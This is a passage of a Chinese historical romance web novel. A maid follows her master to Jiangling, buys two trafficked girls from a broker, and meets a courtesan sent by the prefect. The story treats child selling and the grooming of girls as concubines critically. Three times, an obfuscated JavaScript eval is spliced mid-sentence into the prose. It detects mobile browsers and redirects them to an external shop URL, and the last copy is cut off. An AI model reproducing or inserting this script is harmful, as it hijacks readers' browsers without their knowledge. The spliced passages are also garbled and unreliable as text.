崔氏端坐上方，被柳妈妈嚷得头疼。偏这柳妈妈是打小就跟着她，心里确有几分不忍。 思及此，崔氏眉心微蹙，视线滑向施筠。 只见她穿着洗得浆白的衣衫，跪得颇为挺直，低眉垂目，细瞧过去，倒生得有几分姿色。 施筠被上方的视线审得浑身不适，她正欲开口辩驳，却听崔氏冷冷开口。 “既有此事，我便给你做主，你且把她回去。稍后让库房取两匹锦缎、一套头面。”崔氏轻舒口气，捧起兔毫盏，呷了口茶。 话落，施筠猝然抬眸，急得脸色煞白，“夫人——” “夫人都已发话，还说些什么。还不谢恩了下去，扰了夫人的清净。” 她话未尽，崔氏身旁魏妈妈扫了一眼跪在地上的柳妈妈，二人眼神交接一番。 魏妈妈顿了顿，余光瞥见崔氏淡然，便趁着这威风，扬声道：“你们这些小丫头，年纪轻，不要事事指着夫人做主！” 语罢，她看了眼施筠，便退至崔氏身旁。 崔氏本就不愿理睬这事，只是瞧着柳妈妈可怜。柳妈妈既有所求，应了就是，也不枉几十年来主仆情深。 得了崔氏的话，柳妈妈一甩手擦了泪，站起身又要去扯施筠的手。 施筠想，柳妈妈如此嚣张不过是因崔氏撑腰，而她身后无人做主。 思忖片刻，施筠决心赌一把。 “夫人，郎君已将奴留在东苑伺候，奴生死都是郎君的人，若要奴嫁，还请问郎君一句。” 闻言，崔氏放下茶盏，盏底碰触桌面，发出一声极轻的响。 她抬起眼皮，看向施筠。 “好。”崔氏的嘴角几不可见地动了动，“既如此，你便去门口跪着，跪到雪臣回来。” 柳妈妈听这话似有转圜的余地，她儿子亦是个废人，若连施筠都拿不住，日后还有谁肯嫁给他儿子。 想到此处，柳妈妈悲从心起，抬手又要落泪，却见魏妈妈一个眼风使来，只好忍下。 施筠咬牙领命。 暂且跪着也好过跟着柳妈妈回去，只是这一跪不知要跪到何时。 自清晨跪到未时三刻，施筠跪得膝盖骨生疼，心里只盼着谢长溪能早些回来。 一弯冷月爬上檐角，清辉洒在侯府的黑瓦上像覆了一层薄霜。 正房内好似有了动静，女使脚下生风，打帘进屋。 “夫人，郎君来了。” 崔氏端坐在紫檀木罗汉床上，手里捧着一盏已凉的茶，目光沉沉地落在门帘上。 施筠见女使刚进屋，便又听一阵沉稳的脚步声，晚风吹来丝丝兰香。 兰花。 似想到什么，施筠蓦然抬眸，携兰香的人已从她身前掠过。 是谢长溪来了。 谢长溪步履生风，余光扫了施筠一眼。 进了正房，谢长溪立于帘外，躬身朝里道，“母亲。” 崔氏淡淡应声了声，吩咐人上座。 女使搬来绣墩，谢长溪向崔氏微微欠身，这才撩袍坐下。 崔氏侧目瞥他一眼，冷声道，“你到来得快。” 谢长溪抿唇，眸光沉静，“母亲说笑了，我此来是为向母亲拿人。” 崔氏道：“人在外头，你要想带回去便带回去。” 谢长溪抿唇，摇头，“母亲，外头本就是我的人，我要拿的人柳氏。” 崔氏将手中茶盏重重搁下，凝眸看向谢长溪。 “雪臣，此言何意？”崔氏哼声道，“那柳氏你也知道，是我身边的老人了。” 崔氏这话说得明白，外头是他的人，只管带走。但柳氏是她的人，岂容他说拿就拿。 就是为着做母亲的面子，也不能叫谢长溪随意带走她的人。 谢长溪听了此话，忽地调转话头，道：“母亲，过几日我便要调任江陵府。” 崔氏眉头蹙得更深，道：“你同我说这些是何意。” 调任江陵府这话，崔氏心里明白是为何，却不愿点破。 三年前，太后崩逝，新帝继位，旧党被新党清扫。 因老太太是太后的闺中好友，谢长溪又由中书侍郎一手提拔，自然而然被划为旧党。 老侯爷去得早，崔氏一人撑着整个侯府，对朝堂上的风吹草动，半点不敢掉以轻心。 当初她看出旧党大势已去，赶在太后去世前，把谢凝玉嫁给了如今的国公爷的小儿子。 只是，那韩钟林生性风流，日日不着家，引得谢凝玉被婆母磋磨，不过两年便去了。 当年谢长溪刚中探花便被官家外放，如今只刚回京，又要再调。 想来是有人不愿他留在汴京，何况谢长溪的态度不明，谁也不敢重用他。 思及此，崔氏想到早逝的女儿，愁上眉梢，眸光低垂。 谢长溪冷了声音，淡声道：“母亲知道儿子说的是什么，连妹妹都舍得，母亲还是将人交由我处置，也好正了侯府的风气。” “罢了。”崔氏声音低沉，长舒一口气。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522909|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个婆子同谢长溪争这半宿，倒也无甚必要。何况她身边也不差个柳妈妈，先前体面也给了，只可怜她那儿子... 崔氏退了一步，便将心底压着的事问了出来，“雪臣，你年岁不小了，旁人你这个年纪，儿女都有了。你可有打算？相中谁家的姑娘，我也好替你说去。” “你若没打算，姝儿倒想来见一见你这个表兄。多年未见，彼此莫忘了。”崔氏缓缓抬眸，打量谢长溪的神情。 房内灯烛摇曳，忽地一声灯花爆开。 谢长溪起身，朝崔氏行了一礼，“母亲从前替妹妹做了主，而今也要替儿子做主吗。” 听谢长溪提及谢凝玉，崔氏再难开口。当年谢凝玉死后，谢长溪再未向家中来过一封信，那两年她们母子俩竟一句话都不曾说。 崔氏听出来了，谢长溪今日这遭，是在向她发难，别再想插手他的事。 可做母亲的为儿女盘算婚事，又哪里做错了呢。国公府高门显贵，亦不曾委屈女儿下嫁。 高门贵女的婚事，门当户对。 崔氏不觉何处不妥，心下只叹息女儿命薄，守不到云开见月明。 月上枝头，星子稀疏。 施筠不知谢长溪是何时出来的，她跪得迷糊，膝盖骨像火烧。 一阵清浅的兰香从风中飘来。 “姑娘不必跪了，郎君叫你回东苑去。”鹤木让随行的女使扶起施筠。 甫一用力，膝盖仿佛被撕扯，整个人使不上力，两个女使齐齐使劲才将人搀了起来。 施筠忍着疼，强撑着身子，向她二人道了声谢。 鹤木道：“娘子应该向郎君道谢才是。” 他家郎君一回府没见着兰花，旋即找人问了情形，才知她被柳家的带走了。 施筠颔首，回道：“是该多谢郎君，帮了奴太多。” “娘子也不必担忧柳家的日后会来，郎君从夫人那边带走了柳家的。”鹤木安抚道。 施筠旋即问道，“郎君打算如何处置？” 鹤木顿了顿，先前应郎君的吩咐，他已找人打断唐志生的腿，且拔了他的舌头说不出话。 这回是谢长溪亲自拿的人，只说要打发柳家的去庄子上，但他瞧着倒没有这么简单。 “打发到庄子上，也省得祸害别家。”鹤木将施筠送回东苑后便去书房复命。 施筠扶着墙回屋，步履艰难地推开门。 膝盖骨上的灼烧感疼得她难以弯曲，只能静静地坐在桌旁。 只刚进屋不久，门外便跟来一个身影。 “娘子，郎君命我送了药来，这些日子娘子便修养着，待伤好了再回去。”说罢，鹤木俯身将药放到门口。 施筠眸光轻颤，心下熨帖。 在规矩森严，拜高踩低的侯府内，施筠第一回觉得人心是热的。 只可惜，阿荷不在了。 倘若能早些遇到谢长溪，兴许阿荷就不会因这场病去了。 施筠颤颤巍巍地起身，忍着蚀骨灼心地痛去拿那药。 看着那一包药，没由来地哭了出来。 除了阿荷死时她哭了几回，别的日子受了再多的委屈她都是不肯哭的。 这样的日子太苦了，好在就快要熬出头了。 5. 第 5 章 谢长溪调任在即，遂往老太太那边去得勤，偶有两回碰上崔氏，也只是问候两句，旁的不再说。 老太太知晓母子二人离心，便叫崔氏这几日不必请安。 老太太催过几回亲事，皆被谢长溪挡了回去，道是仕途未成，不必着急娶妻。 这话一出，老太太也不好再催。 颍川侯府将来到底是要靠谢长溪立起来，老太太只好作罢。 这几日施筠的膝盖已大好，只余些青痕。 大晟二十一年，四月初五。 江陵府地处长江中游，襟江带湖，水网密布。 城南有望江楼，可览大江东去；城北有章台寺，古棘丛篁环绕。 街巷纵横，杜公巷、大寨巷、青杨巷等老巷僻静幽深，巷内宅院古朴，青砖黛瓦，马头墙高低错落。 初到江陵，施筠瞧着周遭与汴京不太相同的人文风景，倒有些好奇，四下张望着。 江陵的宅邸的是四进的宅院，府上只有极少数的女使婆子，从汴京跟来的女使只有她一人。 在这事上施筠心下有几分疑惑，心底的茫然与庆幸交织在一处。 谢长溪将宅邸的一应事宜交由施筠打理， 可她往日只负责侍弄花草，那里学过打理管家的事，事到临头只得硬着头皮安排府上的女使婆子。 好在她的月钱也变多了。 是夜，书房。 谢长溪今日回得晚，正于案前提笔写着什么，施筠低眉垂首，立在一旁研磨。 这几日相处，施筠对谢长溪的作息，喜好，都有所了解。 与她当初心中所想的几乎不差，古代君子好似就是这般克己复礼，不贪睡、不谈吃，每日忙于公务。 “郎君可要歇息？”施筠见谢长溪停了笔，便关切地问了句。 谢长溪搁笔的手一顿，他极少听施筠主动说些什么。 他眸光一转，看向施筠。 月光流淌，暖烛飘摇，映出施筠素净的眉眼，不施粉黛，却清绝出尘。 当真能映出几分月色。 谢长溪瞧她眼帘低垂，温声问：“可是倦了？” 施筠微怔，她从前熬过的也兴许不比谢长溪少。 她倒是不困，只是有些饿。既要熬夜，哪能不吃东西，何况谢长溪是处理公务，岂不是更废神。 “没有。”施筠轻声回道。 谢长溪起身至窗边，望见月已中天。良久，方道：“明日你去牙行再挑两个女使带在身边。” 施筠颔首。 “沐浴更衣。”谢长溪回身看向施筠。 闻言，施筠缓步上前，她想起初到江陵宅邸那日，谢长溪也唤她更衣。 只是她手笨，解了好一会。末了，是谢长溪不耐地让她退下。 好在这两日她有心研究了一番。 施筠小心贴近谢长溪，谢长溪身量高大，她只及他胸前。 她抬手至他身后绕了一圈，身子微微往前倾。 月光清幽，清风入室。 谢长溪身上的沉水香萦绕在施筠鼻尖，施筠动作轻快地褪去他的衣裳，只是她总觉头顶上悬着什么，好像是若有似无的视线。 前几日谢长溪并未要她近身服侍，今日倒是头一遭。 施筠眸光微滞，心下惊疑，只片刻心念一转，想到吃亏的不是她。 这一看颠覆了施筠对谢长溪的认知，从前她只以为谢长溪是个文臣，却不想他脱衣后肩背宽阔，线条如刀削斧凿。 小臂青筋隐现，腕骨粗壮，指节修长有力。腰身精瘦，腹肋处没有一丝多余的肉。 施筠不过余光多停留了片刻，谢长溪似有所觉，微微侧过头，烛光映在他脸上，神情温和沉静。 他目光盯向施筠，不置一语。 施筠自然不敢回避，索性正眼瞧过去。从前她只在明星小说里看到过这副身材，如今就在眼前，看都看了，不如看个够。 翌日清晨，谢长溪起早练武，施筠则按他的吩咐去江陵的牙行挑女使。 随她一道的是厨房秦妈妈，秦妈妈是江陵本处人，她带着施筠熟悉江陵的风俗人情。 秦妈妈抬手撩起帘子，挑眉望出去，“映月姑娘，牙行人多杂乱，牙婆伶牙俐齿，差的也能说出十分好，我且替你挑两个回来。” 秦妈妈知道施筠打汴京来，恐她被蒙骗，故而想替她做了这事。 “不必了妈妈，我还是想亲自挑。”施筠抿唇轻笑，一双水盈盈的双眸看着秦妈妈。 她这一笑，叫秦妈妈心里莫名的喜欢，暗想汴京的姑娘到底是不一样，生得俏。 秦妈妈领着施筠进牙行，刚下马车，眼尖的牙婆迎了上来，笑得滑腻世故。 “娘子是来挑人的，我们这儿今天刚来两个年纪轻的小姑娘，带回去教养一番用着放心。”牙婆扭着水桶腰，谄媚地上前，一心急伸手想要伸手去牵施筠。 秦妈妈见此，抬手拍开牙婆的手。 “莫挨我家娘子。”秦妈妈横她一眼。 江陵的牙婆不比其他地方的牙婆，这些人胆子大，什么拉皮条的生意都敢做，心黑得跟灶膛里刮下来的锅底灰似的，洗都洗不白。 牙婆被下了脸，也不恼，只赔笑道：“娘子是金贵的人，随二位随我进来吧。” 她引二人进了一间厢房，里头坐着五个女孩，年龄从十二三到十五不等。 五个女孩，分坐两排，神态截然不同。 靠窗两个，垂着眼皮，双手规规矩矩地叠在膝上，像两尊精心摆弄过的瓷人。 虽低着头，却能看见她们唇角微翘，眉目间带着一股刻意练出来的娇怯。 中间那个眼角还挂着泪，身子微微发抖，手指死死攥着衣角，指节泛白。 靠墙两个，一个面黄肌瘦，呆呆地坐着，眼神空洞，仿佛已经认了命。 另一个圆脸，咬着下唇，腮帮子鼓鼓的，眼里满是不服。 施筠微微蹙眉，心头惆怅，侧头看了秦妈妈一眼。 秦妈妈正眯着眼打量那靠窗的两个，嘴角往下撇了撇，凑到施筠耳边，声音压得极低：“娘子瞧见了么？那两个，走路、坐姿、眼神，都是调教过的。牙婆哪是拿她们当女使？分明是在当...玩意儿养。” 施筠指尖一紧，眉心深蹙。 汴京那些高门大户里的“美婢”——名义上是女使，却多是长辈塞给儿孙的通房，又或是用来笼络郎君。 这些小姑娘，竟从是牙行就已被调教好。 “这两个我带走了。”施筠指尖从中间含泪的滑向圆脸的小姑娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522910|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦妈妈微微点头，向施筠投去赞许的目光。 江陵府这边来牙行挑人的贵气娘子，多是为了笼络郎君，如今施筠挑的这个尚未调教好。 日后若闹出事来，怎生了得。 牙婆脸上的笑僵了一瞬，旋即又堆起来，“娘子好眼光，这两个手脚麻利，调教几日就能上手的……” “不必调教。”施筠打断她，“我要的就是没调教过的。” 牙婆讪讪地住了嘴。 这俩姑娘是一道被卖来的，两个硬骨头，如今有人要了她省得调教。 进了她手里的姑娘，再硬的骨头她都能啃下来，不过是要费些日子罢了。 秦妈妈同牙婆交接完，便带着俩小姑娘回府。 马车内，施筠问她二人的名姓，圆脸桃腮的小姑娘，愤愤道：“爹娘将我卖了，还请姐姐重新赐名。” 另一个瘦高的小姑娘望着施筠，眼中似有千言万语的话要说，最终却只点点头。 施筠看着她二人，瞧着也不是十二三岁，却被至亲抛弃，心里不免难过起来。 取名这事对施筠而言，不算太难。 圆脸桃腮的小姑娘此后有了名，唤兰芳。瘦高内敛的小姑娘则唤为铃香。 兰芳今年刚满十二岁，铃香长她一岁。两人都不肯向牙婆低头，故而受了些苦。 施筠心疼两人，只叫她们先歇着，伺候人的事日后再说。 晚间，施筠捧着一碟芙蓉糕，穿过抄手游廊，往谢长溪的书房走去 书房的门半掩着，里头透出昏黄的烛光。 施筠轻轻叩了叩门。 “进来。”谢长溪的声音从里头传出来，带着些许慵懒。 她推门进去，见他正坐在书案前，执笔不知写着什么，身上穿着家常的月白道袍，领口微微敞开，露出里头一片结实的锁骨。 烛光映在他脸上，眉目半明半暗。 “还没用晚膳？”谢长溪抬眼看她，目光落在那碟糕点上。 芙蓉糕约一寸见方，表面淡粉微红，像三月桃花瓣的颜色。又嵌着星星点点的杏仁碎和金色桂花，雪花似的散落。 “同秦妈妈学的芙蓉糕，郎君常因公事忙至深夜，用点也好过空腹。”施筠将碟子放置书案一角，立于一旁，垂首不语。 谢长溪停笔，随手拈起一块，闻到桂花蜜的甜香混着淡淡的米香。 咬了一口，眉头微动。 施筠低眉抬目，只见他慢条斯理地又咬了一口。 谢长溪咽下那口糕点，端起茶盏呷了一口，问，“今日去牙行，挑到人了？” “挑了两个，”施筠回道，“一个叫铃香，一个叫兰芳，只是年轻尚小。” 谢长溪念了一遍，略一颔首。 “名字是你取的？”他问。 施筠点头，“可是有哪里不妥？” “这两个人，以后是跟着你的。你喜欢叫什么就叫什么。” 谢长溪抬眸，目光落在她身上。 从前他只觉施筠惹人怜，重情义。 而今相处才知，她竟还有几分才气，浑然不似别的女使。 他眸光凝滞，忽地想起施筠跪在他面前的模样，倒是有几分像她养的兰花。 枝叶挺拔，不轻易摧折。 6. 第 6 章 一连几日，谢长溪都早出晚归，施筠得闲便去厨房跟着秦妈妈学些糕点手艺。 秦妈妈原就是江陵一带叫得名号的厨房妈妈，若想请她进厨房，少不得要几两银子。 午后得闲，施筠来寻秦妈妈，见她在灶前坐着烧火，便笑着凑到秦妈妈跟前。 秦妈妈见她如此，不禁打趣道：“你倒好，管家丫头的气派，日日往我这儿跑。” 施筠生得俏，说话哄人开心，又体贴人，秦妈妈回回见她心里都是实打实的欢喜，只恨不是亲生的女儿。 施筠嗔道，“秦妈妈说笑话打趣我呢，我哪里有那能耐，还不是跟着妈妈才有的学。” 秦妈妈起身，施筠旋即坐下看火，秦妈妈见灶房就她们两人，就恨不得将掏心窝子的话交给施筠。 她皱着眉，沉声道：“这两日郎君早出晚归，你晓得吧。” 施筠近身服侍谢长溪，自然清楚。只是秦妈妈这话说的怪，施筠有些不解。 按理说郎君行踪如何，她其实不大关心，只愿人健康无事就好，毕竟她还欠着谢长溪的恩情。 若说做几碟糕点就算还恩，这怕还不能够。 施筠道：“妈妈这话说的我不明白。” 秦妈妈看眼前这个木头脑袋，上前轻戳她的眉心，“郎君是什么人，外头多少人盯着呢，你可晓得江陵知府府上多少貌美的娘子。” 秦妈妈早些年风头正盛，高门大户争着请她去厨房，江陵大小地方她都走过一遭。 其中最令她深刻的便是江陵知府，赵明礼。赵宅里三步一西施，五步一貂蝉，那真是仙女云集。 甫一进去，还以为上了仙界。 “郎君若是进了知府里去，怕是我们这宅子都不想要了。”秦妈妈恨铁不成钢地道。 施筠越发困惑，疑道：“妈妈，郎君不回来，咱们自个儿过自个儿的哪里不好了。” “啊哟，我的傻姑娘呀。郎君不着家且不说，倘若有天带了人回来，要顶了你的位置，你如何办？”秦妈妈皱着眉，长叹一声，道，“我原以为你是个聪明的，竟是个呆头鹅！” 闻言，施筠痴痴笑起来，笑得花枝乱颤，她道：“妈妈你操心这档子事作甚，郎君宅心仁厚，就算是带了娘子回来，也不会苛待我们的。” 灶膛里火燃得正旺盛，忽地炸了一声，秦妈妈眉头皱得紧巴巴。 “你日日为郎君做糕点，心里不作他想？”秦妈妈不禁问道。 她见施筠日日来学做糕点，变着花样的调试味道，想来是为讨郎君欢心，可如今这事施筠却一点不在意。 秦妈妈拿不准施筠在打什么主意，只拿一双历经世故的眼盯着施筠。 施筠道：“郎君待我有恩，我不过是报答郎君罢了。” 秦妈妈话里的意思，施筠是从未想过。她穿来这规矩压死人的时代身心俱疲，情爱这等事自然是抛掷脑后。 何况谢长溪高门显赫，又岂会看上她。 世家大族里的姬妾都是玩意，妾通买卖，那样身不由己的日子，施筠绝不肯过。 施筠一番话说得清楚，秦妈妈一双眼看过不少人，自然明白施筠别无他想。 秦妈妈见她没这个心思，心下也松快几分。 施筠调转话头，向秦妈妈请教冰团子如何做，又问芙蓉糕几分甜合适。 一连串话问下来，秦妈妈哭笑不得，“你是恨不得把我这一身的手艺学去。” 施筠边捏边捶秦妈妈的肩，哄得秦妈妈心花怒放。 施筠本没将秦妈妈的话放在心上，可没想到这话却应验了。 初夏夜，晚风清爽。 施筠动作轻盈地捧上糕点，而后像往常一样侍立在侧。 谢长溪长睫低垂，眸光沉凝地看手上卷宗，似是习惯夜半的糕点，极其自然地拈了一块。 “江陵可适应？”谢长溪声音清越，同晚间的风叫人闲适。 施筠缓缓抬眸，瞥见谢长溪手中的卷宗，是一桩强抢民女的案子。 “来这儿半月有余，已对当地风俗习惯有所了解。”施筠回道。 谢长溪沉吟片刻，道：“昨日江陵知府赠了我一个美人，推拒不得，她若进府你好生顾着。” 话落，谢长溪起身沐浴更衣。 他动作极慢，侧目看施筠颔首称是，面色平静。 施筠这般淡然从容，倒叫他心里不大畅快。 虽说江陵宅邸的女使不多，却也无需再进人。 这江陵知府为笼络他，在席间送了个美人，他自然不好驳了知府的面子，只得应下。 他方才话里虽是叫施筠多顾着那美人，也不知施筠能否听懂他的弦外之音。 夜风袭来，施筠身上清浅的兰香在他周身萦绕。 谢长溪轻舒一口气，罢了，到底是个女使，何须要她那么聪明。 有几分姿色，安分懂事便已足够。 —— 翌日清晨，施筠带着铃香和兰芳在宅前等知府那边将人送来。 兰芳耐不住性子，朝施筠道，“姐姐，是什么大人物要这样等着。就说郎君回来，也不见姐姐这样恭恭敬敬地候着。” 铃香亦有些好奇，只是不像兰芳心直口快。 施筠蹙眉，低声道：“是知府大人给郎君送的人。你这些话，以后莫要再说。” 施筠哪里能不知道这人是知府送来的探子，可就是探子也要看是谁的人。 她对谢长溪在官场上的事并不了解，总之都敬着便不会落下话柄。何况谢长溪昨日要她顾着这位美人，是要怎么个顾法呢。 施筠正思量着，就见眼前一俩马车缓缓驶来，车帷被一只瓷白玉手撩开。 五月江陵的金乌高照，一束金光落在美人眉眼间，犹如画中女仙，她眉梢微蹙，眼波流转。 施筠头一次见这等美人，不免愣了一瞬，许久才上前迎她，“可是绿萝姑娘？” 绿萝颔首，一双丹凤眼将施筠从头到脚扫了一遍。 她拢了拢粉青长袖，轻巧地下了马车。 “姑娘如何称呼？”绿萝三两步走至施筠身边。 兰芳被她挤开，狠狠瞪了一眼绿萝。 施筠含笑回，道：“唤我映月就好。” 绿萝眉梢一扬，弯唇笑起来，“好生疏，我初到这儿，亦不了解郎君，往后还是得姐姐多帮衬着我。” 语罢，她亲昵地挽上施筠的臂弯。 施筠不喜生人这般亲昵，却也不好抽回手，只能任由她挽着。 她带绿萝去挑房间，绿萝却缠着施筠，只说想跟姐姐住得近。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522911|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 兰芳见此，在铃香身边低声讽道，“才见姐姐多久，便这样亲亲热热地缠着，谁知安的什么心。” 铃香悄声劝道：“不管安的什么心，也不能叫姐姐难堪，你且收着点。” 兰芳瘪嘴，索性溜了出去，不看绿萝缠着施筠演什么姐妹情深。 绿萝拉着施筠在房中说了一下午的话，绿萝支手扶额，借着日光打量施筠，又将她细细打量了一番。 杏脸桃腮，明眸皓齿。 只是太素净，一身的缃色，浑然不似个少女。 绿萝眼中笑意盈盈，她俏声道：“姐姐可是嫌我烦了？” 施筠垂着眼，一言不发。 打绿萝进来那一刻，是挽着她，又说又笑，怕得罪了这美人，她只能绞劲脑汁地应对。 想到此处，施筠好似发现了什么趣事，原来谢长溪喜欢活泼明媚的美人。 绿萝看她不说话，也不恼，又笑说：“姐姐莫怪，往日里我寻不着人说话，今日见到姐姐心里总有许多话说，姐姐可怜可怜我一个人吧。” “瞧姐姐生得美，心定然也是善的。”绿萝起身，竟在施筠身前蹲下。 她仰头道，“姐姐，也太不近人情了。唉，妹妹好伤心。” 说着，绿萝作势要擦泪。 施筠哪见过这场面，忙伸手去扶她，绿萝眸光盈盈，眼中水雾氤氲。 美人含泪，好不可怜。 施筠心头那点疲惫被拂去，颇有些无奈，“妹妹同我说这些，我自然是愿意听的，只是还要去厨房，哪里抽得开身。” “姐姐作何要亲历亲为。”绿萝讶然。 她来之前听知府说，谢长溪府上除了汴京带来的女使再无旁人。 原以为汴京来的，见过世面，多少心高气傲。却不想施筠是个好拿捏的，三言两语便叫她卸下心防。 绿萝眸光微动，褪去眼中的狡黠。 “那我不叨扰姐姐，今夜姐姐便歇着，由我去照顾郎君可好。”绿萝含笑询问。 施筠想，绿萝本是知府送来的人，也不该她管。 绿萝愿意伺候郎君，她恐怕也管不了。 施筠应了她。 晚间施筠将做好的糕点交给绿萝，绿萝闻到清甜的糕点香气，忍住了口腹之欲。 绿萝捧着一碟糕点往书房去，谢长溪正于书房前看卷宗。 长月高照，书房前的美人莲步轻易，在他身边站定。 一双纤纤玉手，捧着瓷碟书案上停留好一阵。 施筠向来守规矩，从不如此。 谢长溪余光看向那碟糕点，再闻到身旁的脂粉香气，心里只觉没趣，也不愿吃那糕点，只静静地看卷宗。 “郎君，听映月姐姐说，郎君每晚都要用糕点的，是今日的不合胃口么？”绿萝声音压得很轻，姿态也不自觉地放低。 谢长溪抿唇，放下卷宗，抬眼去看绿萝，温声道：“映月安排的可还合你心意？” 绿萝颔首道：“姐姐很体贴，安排我住在她旁边，相互照应着。” 谢长溪了然，吩咐绿萝沐浴更衣。 绿萝原以为那事妥了，岂料谢长溪沐浴后径睡下，只是留她守夜。 她哪里受过这委屈，知府那边有的人求着要她，偏生到了这儿要受这气。 7. 第 7 章 翌日一早，绿萝伺候完谢长溪便去寻施筠哭了好一阵。 施筠被她这一哭唬得不轻，忙扶着绿萝关切地问她。 “怎么了？哭什么？”施筠声音轻细温柔，哄得绿萝收了声。 施筠扶着绿萝到亭子里坐下。 绿萝抬袖擦泪，越发委屈道：“昨夜郎君弄疼我了。” 施筠微怔，心道，这等事绿萝也要同她讲么。绿萝比她小两岁，如今才二八年华，瞧着倒还像个孩子。 这种事在这个环境下太过常见，施筠心里明白，却也止不住的难受。 末了，施筠轻抚她单薄的背，安抚道：“难为你了。” 绿萝眸中闪过一丝诧异，旋即一头扎进施筠怀里。 “姐姐，往后我只有你了。”绿萝一面绞着手帕，一面呜咽道，“姐姐也疼一疼我，莫疏远了我。” 施筠点头应下，绿萝哭了好一阵，她忽地起身，抿唇笑了起来。 “姐姐，我会弹琵琶，我弹一曲给你听可好。”绿萝拉起施筠就往房里去，取出心爱的琵琶。 施筠任由绿萝牵着，思绪早已飘到不知何处。 绿萝抱琵琶而出，在亭下弹起来。 施筠立在一旁，见她指法精准利落，音色清澈剔透，张弛有度，足见功底深厚。 今日天光正好，院中枝叶葳蕤，花团锦簇。 绿萝弹的《阳关三叠》，她的技法实在挑无可挑，比她那个年纪厉害得多。 施筠被黄澄澄的日光包裹着，可她的心却冷得发颤。 不多时，眼泪簌簌滚落。 绿萝弹得认真，不曾察觉到施筠在流泪。 曲终，她才抬眼。 “姐姐哭什么？”绿萝凝眉，上前问道。 施筠摇摇头，声音落寞，“想家了。” “姐姐莫哭，郎君在一日，何愁没有家呢。”语罢，绿萝拉着她坐到亭下。 她将琵琶塞到施筠怀中，亲热地说，“姐姐，绿萝没什么别的本事，独琵琶弹得好，姐姐我教你吧，咱俩就一块解解闷。” 距离她上回弹琵琶好似上辈子的事，其实也不过四年不弹。 可她如今身在此地，从前弹琵琶的日子是再也回不去了。 施筠抱起琵琶，笑得苦涩，“我从前在家也弹过几回，只是学的不好。” 话落，她轻柔地抚摸琵琶，仿佛是什么稀世珍宝令她珍重。 绿萝满心疑惑，连带着看施筠的目光也渐渐带了几分审视。 她们这等风尘女子学琵琶是为讨人欢喜，那施筠学琵琶是为何，当真是好生奇怪的人。 施筠弹起她幼时听到的第一首歌《小星星》，绿萝细细打量施筠，见她指法虽生疏，但却快摸索了门道。 绿萝仔细听那曲子，更是奇怪，是她往日从未听过的，曲调平缓温馨。 一曲毕，施筠将琵琶还给绿萝，决心不再碰琵琶。 施筠正于起身，却见绿萝身后的月洞门前立着一人。 谢长溪立在原地，如松木般静静地看她。 施筠眸光微滞，微微欠身，再抬眼时谢长溪却已转身离去。 绿萝回身时，也不见有人。 一连几日，施筠都没到谢长溪跟前伺候，只叫绿萝跟着。 施筠乐得自在，只是兰芳心有不满，一见着绿萝便没了好脸色。 这日兰芳在厨房见到施筠和面，忍不住抱怨，“姐姐！那绿萝日日在郎君跟前，也不知道要怎样说姐姐，姐姐倒是不急，可是我和铃香是害怕的。” 施筠安抚道：“怕什么，兰芳，有我在一日，你们就有一口饭吃。绿萝侍奉郎君，你我岂不乐得自在。” 兰芳耷拉着眉眼，闷着不说话，转身出去。 秦妈妈见兰芳一个小姑娘都知道担忧，可施筠怎么就是不急呢。 晚间施筠将糕点送去给绿萝，绿萝开门见来人，便先将人带进了屋，旋即又四下张望了一番。 “这是作甚？”施筠茫然问道。 绿萝长叹一声，眼角蓄起泪花，“姐姐有所不知，过两日是我姐姐的忌日，可郎君不许我出去，我实在想为姐姐上柱香。” 施筠眉心轻蹙，不敢有所动作。 绿萝戚戚然，“姐姐，我同你不一样的。我自小跟着姐姐长大，姐姐长到十五岁时被爹娘卖给富商做妾，我十岁则是被爹娘卖给了老鸨。” 忆起往事，绿萝泪眼涟涟，声音哽咽。 施筠搁下糕点，上前扶她。 “姐姐，你可愿帮帮我，我想去城外给姐姐上柱香，哪怕是去庙里祈福也好。” 绿萝眼泪滴在施筠手背，一颗一颗活像砸在她心上。 “我本是不愿意来这儿的，是知府大人将我送了来，姐姐，我只这么个心愿，只求你过些日子的庙会带我出去一遭，只这一回。”绿萝哭得越发可怜，近乎哀求的语气。 绿萝泪眼朦胧地看她，施筠面露难色，好一阵都无法给她答复。 绿萝见施筠不应，只得跪下，“姐姐，出了什么事，自有我扛着，郎君宠我，也定不会怪罪。” 施筠忙扶起她，拧着眉应下。应下绿萝的请求，施筠心头是忐忑的，可帮不帮她都问心有愧。 绿萝也是个可怜人，都是活在底层的人，施筠情愿帮她一回。 何况她也是因谢长溪才能让阿荷下葬，如今她能为别人做主，自然也是要帮的。 